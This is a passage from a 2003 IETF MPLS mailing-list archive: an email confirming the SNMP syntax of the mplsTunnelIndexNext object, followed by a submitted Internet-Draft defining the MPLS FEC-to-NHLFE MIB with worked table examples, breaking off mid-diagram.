	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQplhk02284
	for <mpls@UU.NET>; Tue, 21 Oct 2003 01:14:46 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplhk16014
	for <mpls@UU.NET>; Tue, 21 Oct 2003 01:14:45 GMT
Received: from hoemail2.firewall.lucent.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: hoemail2.lucent.com [192.11.226.163])
	id QQplhk16002
	for <mpls@UU.NET>; Tue, 21 Oct 2003 01:14:45 GMT
Received: from nl0006exch001h.wins.lucent.com (h135-85-76-62.lucent.com [135.85.76.62])
	by hoemail2.firewall.lucent.com (Switch-2.2.8/Switch-2.2.0) with ESMTP id h9L1Efh23766
	for <mpls@UU.NET>; Mon, 20 Oct 2003 20:14:42 -0500 (CDT)
Received: by nl0006exch001h.nl.lucent.com with Internet Mail Service (5.5.2656.59)
	id <4M3WQYCM>; Tue, 21 Oct 2003 03:14:39 +0200
Message-ID: <7D5D48D2CAA3D84C813F5B154F43B15502B42F75@nl0006exch001u.nl.lucent.com>
From: "Wijnen, Bert (Bert)" <bwijnen@lucent.com>
To: tnadeau@cisco.com, "'Stefan Winter'" <mail@stefan-winter.de>, mpls@UU.NET,
        iesg@ietf.org
Subject: RE: errors in draft-ietf-te-mib-12.txt
Date: Tue, 21 Oct 2003 03:14:35 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2656.59)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

> >sorry for bothering you again. But during the implementation 
> >of the MPLS MIBs I came across some more inconsistencies...
> >
> >1) concerning data types: mplsTunnelIndex is of syntax mplsTunnelIndex, 
> >derived from UNSIGNED32. But the corresponding scalar mplsTunnelIndexNext is 
> >of type IndexIntegerNextFree, derived from INTEGER32. I don't 
> >think it is a good idea to have different data types for these two.
> 
I have stated before: the above is INCORRECT. The IndexIntegerNextFree
is Unsigned32 with a range of 0-4B.

> 	It was recommended that we used IndexIntegerNextFree
> as the basis for this object. I have constrained the 
> values to being only positive and 0 to conincide with
> the mplsTunnelIndex value and 0 as defined in the indexNext
> object:
> 
> mplsTunnelIndexNext OBJECT-TYPE
>    SYNTAX        IndexIntegerNextFree (0..65535)
>    MAX-ACCESS    read-only
>    STATUS        current
>    DESCRIPTION  
>        "This object contains an unused value for
>         mplsTunnelIndex, or a zero to indicate
>         that none exist. Negative values are not allowed,
>         as they do not correspond to valid values of
>         mplsTunnelIndex.
>  
>         Note that this object offers an unused value
>         for an mplsTunnelIndex value at the ingress 
>         side of a tunnel. At other LSRs the value
>         of mplsTunnelIndex SHOULD be taken from the
>         value signaled by the MPLS signaling protocol.
>        "
>    ::= { mplsTeObjects 1 }
> 
Looks good to me!

Bert


From owner-mpls@UU.NET  Tue Oct 21 01:00:05 2003
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA22610
	for <mpls-archive@lists.ietf.org>; Tue, 21 Oct 2003 01:00:02 -0400 (EDT)
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplia14666
	for <mpls-archive@lists.ietf.org>; Tue, 21 Oct 2003 05:00:07 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQplia14454;
	Tue, 21 Oct 2003 05:00:01 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQplhy20776
	for mpls-outgoing; Tue, 21 Oct 2003 04:38:34 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQplhy20771
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 21 Oct 2003 04:38:29 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQplhy21619
	for <mpls@uu.net>; Tue, 21 Oct 2003 04:35:56 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplhy13604
	for <mpls@uu.net>; Tue, 21 Oct 2003 04:35:55 GMT
Received: from sj-iport-2.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-2-in.cisco.com [171.71.176.71])
	id QQplhy13530
	for <mpls@uu.net>; Tue, 21 Oct 2003 04:35:51 GMT
Received: from cisco.com (171.71.177.237)
  by sj-iport-2.cisco.com with ESMTP; 20 Oct 2003 21:32:42 -0700
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-1.cisco.com (8.12.9/8.12.6) with ESMTP id h9L4ZjjP021478
	for <mpls@uu.net>; Mon, 20 Oct 2003 21:35:46 -0700 (PDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADI04919;
	Tue, 21 Oct 2003 00:35:45 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9L4ZjO26458 for mpls@uu.net; Tue, 21 Oct 2003 00:35:45 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQplhc05786
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 20 Oct 2003 23:02:57 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQplhb15373
	for <mpls@uu.net>; Mon, 20 Oct 2003 22:58:39 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplhb10178
	for <mpls@uu.net>; Mon, 20 Oct 2003 22:58:39 GMT
Received: from hotmail.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: law10-oe60.law10.hotmail.com [64.4.14.195])
	id QQplhb10139
	for <mpls@uu.net>; Mon, 20 Oct 2003 22:58:37 GMT
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Mon, 20 Oct 2003 15:58:04 -0700
Received: from 171.75.65.5 by LAW10-OE60.adinternal.hotmail.com with DAV;
	Mon, 20 Oct 2003 22:58:04 +0000
X-Originating-IP: [171.75.65.5]
X-Originating-Email: [cheenu_srinivasan@hotmail.com]
Reply-To: "Cheenu Srinivasan" <cheenu@alumni.princeton.edu>
From: "Cheenu Srinivasan" <cheenu_srinivasan@hotmail.com>
To: "Internet Drafts" <internet-drafts@ietf.org>
Cc: "Arun Viswanathan" <arunv@force10networks.com>,
        "Tom Nadeau" <tnadeau@cisco.com>, "George Swallow" <swallow@cisco.com>,
        "Loa Andersson" <loa@pi.se>, "Alex Zinin" <zinin@psg.com>,
        <mpls@UU.NET>
Subject: draft-ietf-mpls-ftn-mib-09.txt
Date: Mon, 20 Oct 2003 18:57:11 -0400
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0005_01C3973B.F7FA5A70"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1158
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Message-ID: <LAW10-OE60vSAMfKQu100000290@hotmail.com>
X-OriginalArrivalTime: 20 Oct 2003 22:58:04.0937 (UTC) FILETIME=[9EDA5F90:01C3975D]
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0005_01C3973B.F7FA5A70
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Please post the attached document to update the existing version
of draft-ietf-mpls-ftn-mib.  (The only change is the addition of
an IANA considerations section.  No comments were received about
this document during the latest WG last call.)

Thanks,
Cheenu Srinivasan

------=_NextPart_000_0005_01C3973B.F7FA5A70
Content-Type: text/plain;
	name="draft-ietf-mpls-ftn-mib-09.txt"
Content-Disposition: attachment;
	filename="draft-ietf-mpls-ftn-mib-09.txt"
Content-Transfer-Encoding: quoted-printable

Network Working Group                                  Thomas D. Nadeau
Internet Draft                                      Cisco Systems, Inc.
Expires: March 2004                                                   =20
                                                      Cheenu Srinivasan
                                                         Bloomberg L.P.
                                                                      =20
                                                       Arun Viswanathan
                                                 Force10 Networks, Inc.
                                                                      =20
                                                           October 2003
                                   =20
                                   =20
       Multiprotocol Label Switching (MPLS) Forwarding Equivalence
         Class To Next Hop Label Forwarding Entry (FEC-To-NHLFE)
                       Management Information Base
                                   =20
                     draft-ietf-mpls-ftn-mib-09.txt
                                   =20
                                   =20
Status of this Memo
  =20
   This document is an Internet-Draft and is in full conformance with
   all provisions of Section 10 of RFC 2026.
  =20
   Internet-Drafts are working documents of the Internet Engineering
   Task Force (IETF), its areas, and its working groups.  Note that
   other groups may also distribute working documents as Internet-
   Drafts.
  =20
   Internet-Drafts are draft documents valid for a maximum of six months
   and may be updated, replaced, or obsoleted by other documents at any
   time.  It is inappropriate to use Internet-Drafts as reference
   material or to cite them other than as "work in progress."
  =20
   The list of current Internet-Drafts can be accessed at
   http://www.ietf.org/ietf/1id-abstracts.txt.
  =20
   The list of Internet-Draft Shadow Directories can be accessed at
   http://www.ietf.org/shadow.html.


Abstract
  =20
   This memo defines a portion of the Management Information Base (MIB)
   for use with network management protocols in the Internet community.
   In particular, it describes managed objects for defining, configuring
   and monitoring Forwarding Equivalence Class (FEC) to Next Hop Label
   Forwarding Entry (NHLFE) mappings and corresponding actions for use
   with Multiprotocol Label Switching (MPLS).


Table of Contents

  1. Introduction  .............................................. 2
  2. Terminology  ............................................... 3
  3. Conventions Used In This Document  ......................... 3
  4. The Internet-Standard Management Framework  ................ 3


MPLS Working Group              Expires April 2004              [Page 1]
=0C
Internet Draft                 MPLS FTN MIB                 October 2003



  5. Outline  ................................................... 4
  5.1.  mplsFTNTable  ........................................... 4
  5.1.1.Advantages of Address Ranges Over CIDR Prefixes  ........ 4
  5.2.  mplsFTNMapTable  ........................................ 5
  5.2.1.Indexing Requirements  .................................. 5
  5.2.2.How the Current Indexing Works  ......................... 6
  5.3.  mplsFTNPerfTable  ....................................... 7
  6. Avoiding Retrieval-Modification Interactions  .............. 7
  7. Example Illustrating MIB Module Components  ................ 8
  7.1.  Sample FTN Rules  ....................................... 8
  7.2.  Creating FTN Entries and Applying them to Interfaces  ... 9
  7.3.  Mapping an FTN Entry to Multiple Interfaces  ........... 10
  7.4.  Inserting an Entry Into Existing List  ................. 11
  7.5.  Pictorial Tabular Relationship  ........................ 12
  7.6.  Deleting an Entry  ..................................... 13
  8. The Use of RowPointer  .................................... 15
  9. MPLS-FTN-STD-MIB Definitions  ............................. 15
  10.   Security Considerations  ............................... 36
  11.   IANA Considerations  ................................... 37
  11.1. IANA Considerations for MPLS-FTN-STD-MIB  .............. 37
  12.   References  ............................................ 37
  12.1. Normative References  .................................. 37
  12.2. Informative References  ................................ 38
  13.   Authors' Addresses  .................................... 39
  14.   Acknowledgements  ...................................... 40
  15.   Full Copyright Statement  .............................. 40
  16.   Intellectual Property Considerations  .................. 40



1. Introduction
  =20
   This memo defines a portion of the Management Information Base (MIB)
   for use with network management protocols in the Internet community.
   In particular, it describes managed objects for specifying Forwarding
   Equivalence Class (FEC) to Next Hop Label Forwarding Entry (NHLFE)
   mappings and corresponding actions for Multiprotocol Label Switching
   (MPLS).
  =20
   At the ingress of an MPLS network, packets entering the MPLS domain
   are assigned to a FEC. Those packets belonging to a FEC are
   associated with a NHLFE (i.e. MPLS label) via the FEC-to-NHLFE (FTN)
   mapping [RFC3031]. This relationship defines how ingress LSRs will
   impose MPLS labels onto incoming packets. It also defines how egress
   LSRs will decapsulate the MPLS shim header from MPLS packets.
  =20



MPLS Working Group              Expires April 2004              [Page 2]
=0C
Internet Draft                 MPLS FTN MIB                 October 2003



   Conceptually, some of the FTN table functionality could be
   implemented using the Forwarding Information Base (FIB) to map all
   packets destined for a prefix to an LSP. However, this mapping is
   coarse in nature.
  =20
   Similar functionality is already being used in other contexts such as
   security filters, access filters, and for RSVP flow identification.
   All of these require various combinations of matching based on IP
   header and upper-layer header information to identify packets for a
   particular treatment.  When packets match a particular rule, a
   corresponding action is executed on those packets.  For example, two
   popular actions to take when a successful match is identified are
   allowing the packet to be forwarded or to discard it.  However, other
   actions are possible, such as modifying the TOS byte, or redirecting
   a packet to a particular outgoing interface.  In the context of MPLS,
   the possible actions performed by an NHLFE are to redirect packets to
   either an MPLS Label Switched Path (LSP) or an MPLS Traffic
   Engineered (TE) Tunnel.
  =20
   This document attempts to consolidate the various matching
   requirements and associated action options needed for MPLS into a
   single specification.


2. Terminology
  =20
   Although all of the terminology used in this document is either
   covered in the MPLS Architecture [RFC3031] or in the SNMP
   Architecture [RFC3411], it is informational to define some
   immediately pertinent acronyms/terminology here.
     =20
      MPLS  Multiprotocol Label Switching
      FEC   Forwarding Equivalence Class
      NHLFE Next-Hop Label Forwarding Entry
      FTN   FEC-to-NHLFE
      MIB   Management Information Base


3. Conventions Used In This Document
  =20
   The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT",
   "SHOULD", "SHOULD NOT", "RECOMMENDED",  "MAY", and "OPTIONAL" in this
   document are to be interpreted as described in RFC 2119 [RFC2119].


4. The Internet-Standard Management Framework
  =20
   For a detailed overview of the documents that describe the current
   Internet-Standard Management Framework, please refer to section 7 of
   RFC 3410 [RFC3410].



MPLS Working Group              Expires April 2004              [Page 3]
=0C
Internet Draft                 MPLS FTN MIB                 October 2003



  =20
   Managed objects are accessed via a virtual information store, termed
   the Management Information Base or MIB.  MIB objects are generally
   accessed through the Simple Network Management Protocol (SNMP).
   Objects in the MIB are defined using the mechanisms defined in the
   Structure of Management Information (SMI).  This memo specifies a MIB
   module that is compliant to the SMIv2, which is described in STD 58,
   RFC 2578 [RFC2578], STD 58, RFC 2579 [RFC2579] and STD 58, RFC 2580
   [RFC2580].


5. Outline
  =20
   This MIB module resides on any LSR which does the FEC-to-NHLFE
   mapping in order to map traffic into the MPLS domain. This MIB module
   consists of three tables:
  =20
   -  mplsFTNTable defines the rule base against which incoming packets
      are matched and actions taken on matching packets;
  =20
   -  mplsFTNMapTable defines the application of these rules to specific
      interfaces;
  =20
   -  mplsFTNPerfTable provides performance counters for every entry in
      mplsFTNTable that is active on one or more interfaces, on a per-
      interface basis.


5.1.  mplsFTNTable
  =20
   This table allows FEC to NHLFE mappings to be specified.  Each entry
   in this table (also referred to as an "FTN entry" in this document)
   defines a rule to be applied to incoming packets (on interfaces that
   the entry is activated on using mplsFTNMapTable as explained in
   Section 5.2) and an action to be taken on matching packets.
   mplsFTNTable allows 6-tuple matching rules based on one or more of
   source address range, destination address range, source port range,
   destination port range, IPv4 Protocol field [RFC791] or IPv6 next-
   header field [RFC2460] and the DiffServ Code Point (DSCP, [RFC2474])
   to be specified.  Packet redirection is based on an action pointer
   which points either at an mplsXCEntry in MPLS-LSR-STD-MIB [LSRMIB]
   when the NHLFE is a non-TE LSP, or at an mplsTunnelEntry in MPLS-TE-
   STD-MIB [TEMIB] when the NHLFE is the origin of a TE tunnel.

5.1.1.Advantages of Address Ranges Over CIDR Prefixes
  =20
   One possible way to specify a set of addresses as part of an FTN rule
   is to use CIDR prefixes [RFC1519]. We have instead chosen to allow
   FTN rules to be expressed in terms of address ranges in mplsFTNTable
   because they have the following advantages.



MPLS Working Group              Expires April 2004              [Page 4]
=0C
Internet Draft                 MPLS FTN MIB                 October 2003



  =20
   -  The number of CIDR prefixes needed to represent some address
      ranges is very large. For example, we need the following 6 CIDR
      prefixes to represent the range of addresses [192.0.2.0-
      192.0.2.62]: 192.0.2.0/27, 192.0.2.32/28, 192.0.2.48/29,
      192.0.2.56/30, 192.0.2.60/31, and 192.0.2.62/32.  A rule such as
      "redirect all packets with a source address in the range
      [192.0.2.0-192.0.2.62] and destination address in the range
      [192.0.2.128-192.0.2.190] to tunnel #2" would require the
      creation of 36 conceptual rows in mplsFTNTable if the rules were
      expressed as CIDR prefixes but only a single conceptual row if we
      used address ranges instead.
  =20
   -  Every CIDR prefix can be expressed as a single equivalent address
      range.
  =20
   -  A particular implementation is free to translate the address
      ranges specified in mplsFTNTable internally to equivalent CIDR
      prefixes, if it so chooses. However, given that powerful range
      matching algorithms are available, many implementations may
      prefer to implement these directly.


5.2.  mplsFTNMapTable
  =20
   This table provides the capability to activate or map FTN entries
   defined in mplsFTNTable to specific interfaces in the system.
   Packets received on an interface are compared against FTN entries in
   the order in which these entries are applied to the interface.

5.2.1.Indexing Requirements
  =20
   The indexing structure of mplsFTNMapTable was designed to satisfy the
   following requirements.
  =20
   -  We must be able to insert a new entry into an existing list of
      entries on an interface with a single SET operation. Thus, we
      must be able to support an insertion operation that does not
      require manual reindexing of existing entries.
  =20
   -  A management application must be able to traverse entries that
      have been applied to a particular interface in the order of
      application. The number of (non-bulk) retrieval operations to
      obtain this information as dictated by the particular indexing
      scheme that we choose for mplsFTNMapTable must be no more than
      that dictated by any other indexing scheme. For example, the
      indexing scheme must not force the Network Management Application
      to retrieve all the entries in the table and sift through them
      offline to obtain this information.




MPLS Working Group              Expires April 2004              [Page 5]
=0C
Internet Draft                 MPLS FTN MIB                 October 2003



5.2.2.How the Current Indexing Works
  =20
   The natural data-structure for implementing constant time insertions
   between two existing entries and for supporting in-order traversals
   is a linked-list.
  =20
   The chosen indexing structure of mplsFTNMapTable makes the entries in
   the table behave like items in a linked-list.  Each conceptual row
   has an object, mplsFTNMapPrevIndex, which is a pointer to the
   previous entry that is applied to a particular interface.  This
   object is self-adjusting, i.e. its value is automatically adjusted by
   the agent, if necessary, after an insertion or deletion operation.
  =20
   This indexing scheme provides a mechanism to 'insert' an FTN entry
   between two existing entries already applied on an interface.  This
   is done by specifying the entry after which a new entry should be
   inserted in mplsFTNMapPrevIndex.
  =20
   Using this linked-list structure, one can retrieve FTN entries in the
   order of application on a per-interface basis as follows:
  =20
   -  To determine the first FTN entry on an interface with index
      ifIndex perform a GETNEXT retrieval operation on
      mplsFTNMapRowStatus.ifIndex.0.0; the returned object, if one
      exists, is (say) mplsFTNMapRowStatus.ifIndex.0.n
      (mplsFTNMapRowStatus is the first accessible columnar object in
      the conceptual row). Then the index of the first FTN entry
      applied on this interface is n.
  =20
   -  To determine the FTN entry applied to an interface after the one
      indexed by n perform a GETNEXT retrieval operation on
      mplsFTNMapRowStatus.ifIndex.n.0.  If such an entry exists the
      returned object would be of the form
      mplsFTNMapRowStatus.ifIndex.n.m.  Then the index of the next FTN
      entry applied on this interface is m.
  =20
   -  If the FTN entry indexed by n is the last entry applied to the
      interface with index ifIndex then the object returned would
      either be:
     =20
      1.mplsFTNMapRowStatus.ifIndexNext.0.k, where ifIndexNext is the
        index of the next interface in ifTable to which an FTN entry
        has been applied, in which case k is the index of the first FTN
        entry applied to the interface with index ifIndexNext;
     =20
      or:
     =20
      2.mplsFTNMapStorageType.firstIfIndex.0.p, if there are no more
        entries in mplsFTNMapTable, where firstIfIndex is the first
        entry in ifTable to which an FTN entry has been mapped.



MPLS Working Group              Expires April 2004              [Page 6]
=0C
Internet Draft                 MPLS FTN MIB                 October 2003



  =20
   The above steps can be used to retrieve all the applied entries on a
   per-interface basis in application order.  Note that the number of
   retrieval operations is equal to the number of applied FTN entries
   (i.e. the minimum number of GETNEXT operations needed using any
   indexing scheme).
  =20
   Also note that we could not have created this linked-list structure
   using a 'next' pointer object instead of the 'previous' pointer
   object that we chose because this would not allow us to determine the
   first FTN entry that has been mapped to a specific interface using a
   single SNMP (non-bulk) retrieval operation.
  =20
   The use of this indexing structure is further illustrated using an
   example in Section 7.


5.3.  mplsFTNPerfTable
  =20
   If an FTN entry has been applied to one or more interfaces, this
   table provides high-capacity performance counters to monitor each
   such FTN entry on a per-interface basis.


6. Avoiding Retrieval-Modification Interactions
  =20
   The problem of an ongoing traversal or retrieval operation on an SNMP
   table being affected by a concurrent modification operation on that
   table is not unique to this MIB module.  However, it is useful to
   note that a cautious application can keep track of the state of the
   the modifiable tables in this MIB module using the objects
   mplsFTNTableLastChanged and mplsFTNMapTableLastChanged.
  =20
   For instance, before performing a traversal of mplsFTNMapTable, the
   application should retrieve the value of mplsFTNMapTableLastChanged.
   Each subsequent GETNEXT operation on the table should include this
   object as well.  For example, GETNEXT(mplsFTNMapTableLastChanged.0,
   mplsFTNMapRowStatus.ifIndex.n.0) can be used to:
  =20
   -  Determine the FTN entry after the one indexed by n (in linked-list
      order) mapped to the interface with index ifIndex, as explained
      in Section 5.2.2;
  =20
   -  Verify by comparing the value of mplsFTNMapTableLastChanged
      retrieved by this operation with the value retrieved before the
      traversal was begun that mplsFTNMapTable was not modified during
      the retrieval process.
  =20
   Using this technique an application can ensure the validity of the
   retrieved information with minimal overhead.  This is particularly



MPLS Working Group              Expires April 2004              [Page 7]
=0C
Internet Draft                 MPLS FTN MIB                 October 2003



   important while retrieving information from frequently modified
   tables.


7. Example Illustrating MIB Module Components
  =20
   In this section we use an example to illustrate how the objects
   defined in MPLS-FTN-STD-MIB work together to perform FEC to NHLFE
   mapping.
  =20
   Note that for the various table entries involved in this example we
   only show the objects that help illustrate each case.


7.1.  Sample FTN Rules
  =20
   Suppose that we wish to activate the following two FTN rules.
   =20
    Rule #1: On interface ifIndex =3D 1 redirect packets with source =
IPv4
    address matching 192.0.2.63 to an LSP with outgoing ifIndex =3D 50
    and outgoing label =3D 150
  =20
   where the specified LSP is represented by the following entries in
   mplsXCTable and mplsOutSegmentTable.
  =20
   In mplsXCTable:
   {
      mplsXCIndex =3D 0x02,
      mplsXCInSegmentIndex =3D 0x00,
      mplsXCOutSegmentIndex =3D 0x03,
      mplsXCLabelStackIndex =3D 0
   }
   The value 0x00 for mplsXCInSegmentIndex represents an originating
   LSP [LSRMIB].
  =20
   In mplsOutSegmentTable:
   {
      mplsOutSegmentIndex =3D 0x03,
      mplsOutSegmentIfIndex =3D 50,
      mplsOutSegmentPushTopLabel =3D true,
      mplsOutSegmentTopLabel =3D 150
   }
   =20
    Rule #2: On interface ifIndex =3D 1 redirect packets with =
destination
    IPv4 addresses in the range [192.0.2.32, 192.0.2.96] to tunnel #4
  =20
   where the specified tunnel is represented by the following entry in
   mplsTunnelTable:
   {
      mplsTunnelIndex =3D 4,



MPLS Working Group              Expires April 2004              [Page 8]
=0C
Internet Draft                 MPLS FTN MIB                 October 2003



      -- primary tunnel
      mplsTunnelInstance =3D 0,
      mplsTunnelIngressLSRID =3D 192.0.2.1,
      mplsTunnelEgressLSRID =3D 192.0.2.2
   }


7.2.  Creating FTN Entries and Applying them to Interfaces
  =20
   The action "redirect packets with source IPv4 address matching
   192.0.2.63 to an LSP with outgoing ifIndex =3D 50 and outgoing label =
=3D
   150" in Rule #1 can be implemented by the following entry in
   mplsFTNTable:
   {
      mplsFTNIndex =3D 1,
      mplsFTNDescr =3D "Rule #1",
      -- source address only
      mplsFTNMask =3D 0x80,
      mplsFTNAddrType =3D ipv4,
      mplsFTNSourceAddrMin =3D 192.0.2.63,
      mplsFTNSourceAddrMax =3D 192.0.2.63,
      mplsFTNActionType =3D redirectLsp(1),
      mplsFTNActionPointer =3D mplsXCLspId.1.2.1.0.1.3
   }
   We indicate the LSP to redirect packets to by setting
   mplsFTNActionPointer to the first accessible columnar object
   instance in mplsXCEntry that corresponds to this LSP, in this case
   mplsXCLspId.1.2.1.0.1.3.
  =20
   This action is then activated on "interface ifIndex =3D 1" by the
   following entry in mplsFTNMapTable to complete the implementation of
   Rule #1:
   {
      -- apply rule to interface ifIndex =3D 1
      mplsFTNMapIndex =3D 1,
      -- first FTN entry on this interface
      mplsFTNPrevIndex =3D 0,
      -- index of current entry in mplsFTNTable, i.e. Rule #1
      mplsFTNMapCurrIndex =3D 1
   }
  =20
   The action "redirect packets with destination IPv4 addresses in the
   range [192.0.2.32, 192.0.2.96] to tunnel #4" in Rule #2 can be
   implemented by the following entry in mplsFTNTable:
   {
      mplsFTNIndex =3D 2,
      mplsFTNDescr =3D "Rule #2",
      -- destination address only
      mplsFTNMask =3D 0x40,
      mplsFTNAddrType =3D ipv4,



MPLS Working Group              Expires April 2004              [Page 9]
=0C
Internet Draft                 MPLS FTN MIB                 October 2003



      mplsFTNDestAddrMin =3D 192.0.2.32,
      mplsFTNDestAddrMax =3D 192.0.2.96,
      mplsFTNActionType =3D redirectTunnel(2),
      mplsFTNActionPointer =3D mplsTunnelName.4.0.3221225985.3221225986
   }
   where 3221225985 and 3221225986 are the representations of the
   addresses 192.0.2.1 and 192.0.2.2, respectively, as Unsigned32 (the
   underlying data type) entities.
  =20
   This rule needs to be activated on "interface ifIndex =3D 1" after =
Rule
   #1 which was previously activated on this interface. This is done by
   the following entry in mplsFTNMapTable to complete the implementation
   of Rule #2:
   {
      -- apply rule to interface ifIndex =3D 1
      mplsFTNMapIndex =3D 1,
      -- insert after Rule #1 (mplsFTNIndex =3D 1)
      mplsFTNPrevIndex =3D 1,
      -- index of current entry in mplsFTNTable, i.e. Rule #2
      mplsFTNMapCurrIndex =3D 2
   }


7.3.  Mapping an FTN Entry to Multiple Interfaces
  =20
   Suppose we now wish to activate the following rule:
   =20
    Rule #2b: On interface ifIndex =3D 2 redirect packets with
    destination IPv4 addresses in the range [192.0.2.32, 192.0.2.96] to
    tunnel #4
  =20
   Notice that the FEC and corresponding action associated with this
   rule (i.e. "redirect packets with destination IPv4 addresses in the
   range [192.0.2.32, 192.0.2.96] to tunnel #4") are the same as that
   associated with Rule #2.  Hence we can reuse the existing entry with
   mplsFTNIndex =3D 2 from mplsFTNTable.
  =20
   However, we have to create the following new entry in mplsFTNMapTable
   to activate this FTN entry as the first one on the interface with
   ifIndex =3D 2.
   {
      -- apply rule to interface ifIndex =3D 2
      mplsFTNMapIndex =3D 2,
      -- first FTN entry on this interface
      mplsFTNPrevIndex =3D 0,
      -- index of current entry in mplsFTNTable
      mplsFTNMapCurrIndex =3D 2
   }





MPLS Working Group              Expires April 2004             [Page 10]
=0C
Internet Draft                 MPLS FTN MIB                 October 2003



7.4.  Inserting an Entry Into Existing List
  =20
   At a later point suppose that we wish to introduce the following Rule
   between Rules #1 and #2.
   =20
    Rule #3: On interface ifIndex =3D 1 redirect all packets with
    destination IPv4 address matching the prefix 192.0.2.32/28 to
    tunnel #3
  =20
   where the tunnel we wish to redirect traffic to is represented by the
   following entry in mplsTunnelTable:
   {
      mplsTunnelIndex =3D 3,
      -- primary tunnel
      mplsTunnelInstance =3D 0,
      mplsTunnelIngressLSRID =3D 192.0.2.3,
      mplsTunnelEgressLSRID =3D 192.0.2.4
   }
  =20
   Note that the ordering of the rules on a particular interface is
   critical since the range of addresses specified in Rule #3 is a
   subset of the ones specified in Rule #2.
  =20
   Without the linked-list style insertion feature supported by
   mplsFTNMapTable we would possibly have had to reindex existing
   entries (or plan for such changes by leaving sufficient gaps between
   indexes, something that only postpones the problem).  With the
   existing tables we solve this problem by creating the following
   entries.
  =20
   We implement the phrase "redirect all packets with destination IPv4
   address matching the prefix 1.4.0.0/16 to tunnel #3" in Rule #3 by
   creating the following entry in mplsFTNTable:
   {
      mplsFTNIndex =3D 3,
      mplsFTNDescr =3D "Rule #3",
      -- destination address only
      mplsFTNMask =3D 0x40,
      mplsFTNAddrType =3D ipv4,
      -- address range equivalent to CIDR prefix 192.0.2.32/28
      mplsFTNDestAddrMin =3D 192.0.2.32,
      mplsFTNDestAddrMax =3D 192.0.2.47,
      mplsFTNActionType =3D redirectTunnel,
      mplsFTNActionPointer =3D mplsTunnelName.3.0.3221225987.3221225988
   }
   where 3221225987 and 3221225988 are the representations of the
   addresses 192.0.2.3 and 192.0.2.4, respectively, as Unsigned32 (the
   underlying data type) entities.
  =20
   We next insert this rule in mplsFTNMapTable just after Rule #1 as



MPLS Working Group              Expires April 2004             [Page 11]
=0C
Internet Draft                 MPLS FTN MIB                 October 2003



   follows:
   {
      -- apply rule to interface ifIndex =3D 1
      mplsFTNMapIndex =3D 1,
      -- insert after Rule #1 (mplsFTNIndex =3D 1)
      mplsFTNPrevIndex =3D 1,
      -- index of current entry in mplsFTNTable i.e. Rule #3
      mplsFTNMapCurrIndex =3D 3
   }
  =20
   After the insertion of Rule #3 in mplsFTNMapTable the 'previous'
   pointer object mplsFTNMapPrevIndex of the next entry (corresponding
   to Rule #2) adjusts automatically to point to this entry.
  =20
   Note that, of the existing entries in the table, the only one that is
   impacted by an insertion operation is the entry on that particular
   interface immediately after the newly inserted one, if it exists.
   None of the other entries in mplsFTNMapTable are impacted.  For
   instance, in this particular example, when the entry for Rule #3 was
   inserted between those for Rules #1 and #2, the entries for Rules #1
   and #2b were not impacted.


7.5.  Pictorial Tabular Relationship
  =20
   At this point the relationship between different table entries can be
   represented pictorially as follows. For each conceptual row instance
   we show the table that it belongs to along with its indices in
   parentheses. (Note that various conceptual rows are depicted in a way
   that is convenient for showing the interrelationships and are not
   necessarily in lexicographical order.)
  =20
                ifTable, The Interfaces Group MIB [RFC2863]:
             +-> ifEntry (1)
             |    (ifIndex =3D 1)
             |
             |  mplsFTNMapTable:
